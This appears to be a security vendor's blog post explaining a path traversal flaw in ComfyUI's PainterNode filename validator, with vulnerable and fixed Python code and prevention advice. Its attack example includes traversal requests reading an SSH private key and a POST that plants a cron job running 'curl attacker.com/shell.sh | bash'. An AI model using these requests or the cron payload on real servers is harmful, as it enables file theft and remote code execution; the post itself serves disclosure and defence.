Back to Blog
medium SEVERITY7 min read

How Path Traversal and Filename Injection Happens in Python File Handling and How to Fix It

A medium-severity path traversal vulnerability in `PainterNode/painter_node.py` allowed attackers to reference files outside the intended directory by exploiting a broken `isFileName()` validation function. The original logic used incorrect boolean operators, meaning the filename guard never actually blocked malicious inputs like `../../../etc/passwd` or paths containing backslashes. The fix rewrites the condition with proper logic and adds explicit checks for path separator characters and direc

O
By Orbis AppSec
Published August 27, 2026Reviewed August 27, 2026

Answer Summary

This is a path traversal vulnerability (CWE-22) in Python's `PainterNode/painter_node.py`, where the `isFileName()` function used incorrect boolean logic (`and` instead of `or`) that caused the validation to silently pass malicious filenames containing `..`, `/`, or `\`. The fix replaces the broken compound condition with properly structured `or`-separated guards and adds explicit checks for path traversal characters, ensuring filenames like `../../../etc/passwd` are rejected before file operations occur.

Vulnerability at a Glance

cweCWE-22
fixRewrote condition using `or` operators and added explicit checks for `/`, `\`, and `..` in filenames
riskAttackers can read, overwrite, or delete arbitrary files on the server by supplying crafted filenames to painter settings endpoints
languagePython
root cause`isFileName()` used `and` operators instead of `or`, making the guard condition logically impossible to trigger
vulnerabilityPath Traversal via Broken Filename Validation

The Broken Guard: A Logic Bug That Unlocked Path Traversal in ComfyUI's PainterNode

The PainterNode/painter_node.py file in ComfyUI manages painter settings by reading and writing files based on user-supplied node names. A dedicated helper function, isFileName(), was supposed to act as a gatekeeper — rejecting any filename that looked dangerous before it ever touched the filesystem. The problem? The gatekeeper's logic was silently broken, and any filename, including ../../../etc/passwd, walked straight through.

This post breaks down exactly how the bug worked, why it's dangerous in the context of a ComfyUI server, and what the fix does to close the gap.


The Vulnerability Explained

The Broken isFileName() Function

Here is the original validation function at the heart of the issue:

# BEFORE (vulnerable)
def isFileName(filename):
    if (
        not filename
        and filename is not None
        and (type(filename) == str and filename.strip() == "")
    ):
        print("Filename is incorrect")
        return False
    return True

At first glance this looks like it's doing something useful. But look closely at the boolean operators: every clause is joined with and. For this if block to trigger and return False, all three conditions must be true simultaneously:

  1. not filename — the filename must be falsy
  2. filename is not None — the filename must not be None
  3. filename.strip() == "" — the filename must be an empty string after stripping whitespace

Conditions 1 and 2 are mutually exclusive in almost every real case. If filename is None, then filename is not None is False, and the whole condition short-circuits. If filename is a non-empty string like "../secrets.json", then not filename is False, and again the condition never triggers. The function returns True — "this is a valid filename" — for virtually every input, including malicious ones.

This means an attacker supplying ../../../etc/passwd, C:\Windows\System32\config\SAM, or ..\\secrets to any endpoint that calls isFileName() would receive a clean bill of health from the validator.

What an Attacker Can Do With This

ComfyUI exposes HTTP endpoints for managing painter settings. The loadingSettings, savingSettings, and related route handlers use isFileName() to validate the nodeName path parameter before constructing a file path like:

settings_file = os.path.join(PAINTER_SETTINGS_DIR, f"{nodeName}.json")

Because isFileName() always returned True, an attacker with network access to the ComfyUI server could send:

GET /alekpet/painter_settings/load/../../../home/user/.ssh/id_rsa

or

POST /alekpet/painter_settings/save
{"nodeName": "../../etc/cron.d/backdoor", "data": "* * * * * root curl attacker.com/shell.sh | bash"}

ComfyUI is frequently run on LAN-exposed ports or even public-facing servers, making this a realistic attack vector. The impact ranges from reading sensitive configuration files to overwriting system files if the process has sufficient permissions.


The Fix

What Changed in isFileName()

The fix rewrites the broken compound condition using or operators and adds explicit path traversal character checks:

# AFTER (fixed)
def isFileName(filename):
    if (
        not filename
        or not isinstance(filename, str)
        or filename.strip() == ""
        or "/" in filename
        or "\\" in filename
        or ".." in filename
    ):
        print("Filename is incorrect")
        return False
    return True

Here's a before/after comparison of the critical logic:

Check Before After
Falsy input not filename and filename is not None (contradictory) not filename (correct)
Type check type(filename) == str (inside impossible branch) not isinstance(filename, str) (always evaluated)
Empty string filename.strip() == "" (inside impossible branch) filename.strip() == "" (always evaluated)
Forward slash ❌ Not checked "/" in filename
Backslash ❌ Not checked "\\" in filename
Directory traversal ❌ Not checked ".." in filename

The switch from and to or means the function now returns False if any single condition is true — exactly the semantics a security guard needs. A filename only passes if it clears every check.

The three new character-level checks directly block the attack scenarios described above:
- "/" in filename — blocks Unix absolute paths and traversal like ../secrets
- "\\" in filename — blocks Windows-style paths like ..\secrets
- ".." in filename — blocks double-dot traversal even without slashes in some edge cases

Why Each Addition Matters

The isinstance(filename, str) check (replacing the old type(filename) == str) is also a subtle improvement: it correctly handles subclasses of str, which is the Python-idiomatic way to type-check, and it's now evaluated unconditionally rather than buried inside an unreachable branch.


Prevention & Best Practices

1. Use or for Rejection Logic in Validators

When writing a function whose job is to reject bad input, use or to chain your conditions. If any single condition signals danger, the input should be rejected. Using and means you're requiring all danger signals to appear simultaneously — a much harder bar to clear.

# Pattern for rejection guards
def is_safe_input(value):
    if (
        not value
        or not isinstance(value, str)
        or contains_dangerous_chars(value)
    ):
        return False
    return True

2. Defense in Depth: Base Directory Assertion

Character-level checks are a good first line of defense, but for file operations, combine them with a base directory assertion:

import os

BASE_DIR = os.path.realpath("/app/painter_settings")

def safe_settings_path(filename):
    if not isFileName(filename):
        raise ValueError("Invalid filename")
    candidate = os.path.realpath(os.path.join(BASE_DIR, f"{filename}.json"))
    if not candidate.startswith(BASE_DIR + os.sep):
        raise ValueError("Path traversal detected")
    return candidate

This catches edge cases that character filtering might miss (e.g., URL-encoded sequences or symlink attacks).

3. Prefer pathlib for Path Construction

Python's pathlib module makes safe path construction more natural:

from pathlib import Path

BASE = Path("/app/painter_settings").resolve()

def get_settings_path(filename: str) -> Path:
    target = (BASE / filename).resolve()
    target.relative_to(BASE)  # raises ValueError if outside BASE
    return target

4. Add Authentication to File-Serving Endpoints

The broader PR context notes that these endpoints also lack authentication. Even with a perfect filename validator, unauthenticated endpoints that read/write files are a significant risk. Require a session token or API key for any endpoint that touches the filesystem.

5. Static Analysis Tools

  • Bandit: Flags unsafe open() calls and path construction patterns in Python
  • Semgrep: Rules like python.lang.security.audit.path-traversal detect tainted filenames reaching open() calls
  • Orbis AppSec: Traced the full data flow from HTTP route parameter → isFileName() → file operation

Relevant standards:
- OWASP: Path Traversal
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory


Key Takeaways

  • isFileName() in painter_node.py was logically impossible to trigger — the and-chained conditions created a contradiction that meant the function always returned True, making it a no-op security check.
  • Boolean operator choice is a security decision: using and vs or in a validator changes whether you reject on any bad signal or only when all bad signals appear simultaneously.
  • Path traversal requires explicit character checks: blocking .., /, and \ must be done proactively — Python's open() and os.path.join() will happily follow traversal sequences without complaint.
  • Filename validators that live inside unreachable code branches provide zero protection — the type check and empty-string check were both inside a branch that could never execute.
  • File-serving endpoints in network-exposed applications like ComfyUI need both input validation and authentication — one without the other leaves a meaningful attack surface open.

How Orbis AppSec Detected This

  • Source: HTTP route parameter nodeName supplied by a remote client via GET /alekpet/painter_settings/load/{nodeName}
  • Sink: open() call constructing a file path from nodeName inside the settings load handler in PainterNode/painter_node.py
  • Missing control: isFileName() was called but its boolean logic (and instead of or) made it impossible to return False, and no checks existed for /, \, or .. characters
  • CWE: CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  • Fix: Rewrote isFileName() with or-separated conditions and added explicit character-level checks for path traversal sequences

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

A single misplaced and in a validation function turned a security guard into a welcome mat. The isFileName() function in PainterNode/painter_node.py was designed to protect file operations from malicious input, but its logically contradictory conditions meant it never once rejected a filename in practice. The fix is concise — swap and for or, move checks out of unreachable branches, and add explicit guards for the characters that make path traversal possible. If you maintain Python code that constructs file paths from user input, audit your validators for exactly this pattern: rejection logic must use or, not and.


References

Frequently Asked Questions

What is a path traversal vulnerability?

Path traversal (CWE-22) occurs when an application uses user-supplied input to construct file paths without stripping or blocking directory traversal sequences like `..`, allowing attackers to access files outside the intended directory.

How do you prevent path traversal in Python?

Validate filenames by rejecting strings containing `/`, `\`, or `..` before any file operation. Additionally, use `os.path.realpath()` to resolve the final path and assert it starts with your intended base directory.

What CWE is path traversal?

Path traversal is CWE-22: Improper Limitation of a Pathname to a Restricted Directory.

Is checking for `..` enough to prevent path traversal?

No. You should also block `/` and `\` to prevent absolute path injection and Windows-style traversal. For defense in depth, combine character-level checks with a base-directory assertion using `os.path.realpath()`.

Can static analysis detect path traversal?

Yes. Tools like Semgrep, Bandit, and multi-agent AI scanners can trace tainted data from HTTP request parameters through file-open calls and flag missing or broken validation guards, exactly as Orbis AppSec did here.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #211

Related Articles

critical

How Archive Path Traversal Happens in Node.js and How to Fix It

CVE-2026-53486 is a critical path traversal vulnerability in the Decompress library, where crafted archive entries can write files and symbolic links outside the intended extraction directory. This vulnerability was transitively introduced through `@vitest/browser` and related packages pinned at version 4.1.5, and was resolved by upgrading to 4.1.6 and 5.0.0-beta.3. Left unpatched, an attacker who controls an archive file processed by any downstream consumer of this dependency chain could overwr

high

How Path Traversal happens in Python Flask apps and how to fix it

A path traversal vulnerability in `WAVE2SCORE/app.py` allowed attackers to supply a crafted file path that escaped the application's intended working directory, potentially enabling access to arbitrary files on the server. The fix resolves the absolute path and validates it against the expected `WORK_DIR` boundary before any processing occurs. This kind of boundary check is a critical safeguard in any application that processes user-supplied file paths.

high

How Arbitrary File Read happens in Python LangSmith SDK and how to fix it

A high-severity arbitrary server-side file read vulnerability (GHSA-f4xh-w4cj-qxq8) was discovered in LangSmith SDK's `TracingMiddleware`, affecting versions prior to 0.8.18. An attacker able to influence tracing requests could potentially read arbitrary files from the server's filesystem. Upgrading from version 0.8.15 to 0.8.18 in `poetry.lock` and `pyproject.toml` closes the attack surface entirely.

critical

How Command Injection happens in Python PopClip Extensions and how to fix it

A critical command injection vulnerability was discovered in `contrib/Klipz.popclipext/Klipz.py`, where user-controlled clipboard content was concatenated directly into shell commands executed via `osascript`. The fix replaces unsafe string concatenation with `subprocess` and proper argument lists, and replaces the unsafe `pickle` serialization with `json` to eliminate a secondary deserialization risk. Together, these changes close two distinct attack surfaces in a single file.

high

How Path Traversal happens in PostCSS Source Map Auto-Loading and how to fix it

A high-severity path traversal vulnerability in PostCSS versions before 8.5.18 allowed attackers to manipulate `sourceMappingURL` directives to load arbitrary `.map` files from the filesystem, potentially disclosing sensitive source code and build metadata. The fix upgrades PostCSS from 8.5.15 to 8.5.18 in `console/web/package-lock.json`, closing the path traversal vector in the source map auto-loading feature. This change protects applications that process untrusted CSS input through their Post

medium

How Denial of Service via Catastrophic Backtracking happens in Node.js and how to fix it

CVE-2026-4867 is a Denial of Service vulnerability in path-to-regexp 0.1.12 where malformed URL parameters can trigger catastrophic backtracking in the library's regular expression engine, allowing an attacker to hang or crash a Node.js application with a single crafted request. The fix upgrades path-to-regexp to version 0.1.13, which patches the vulnerable regex patterns. This change was applied via a package-level override to ensure the patched version is used throughout the entire dependency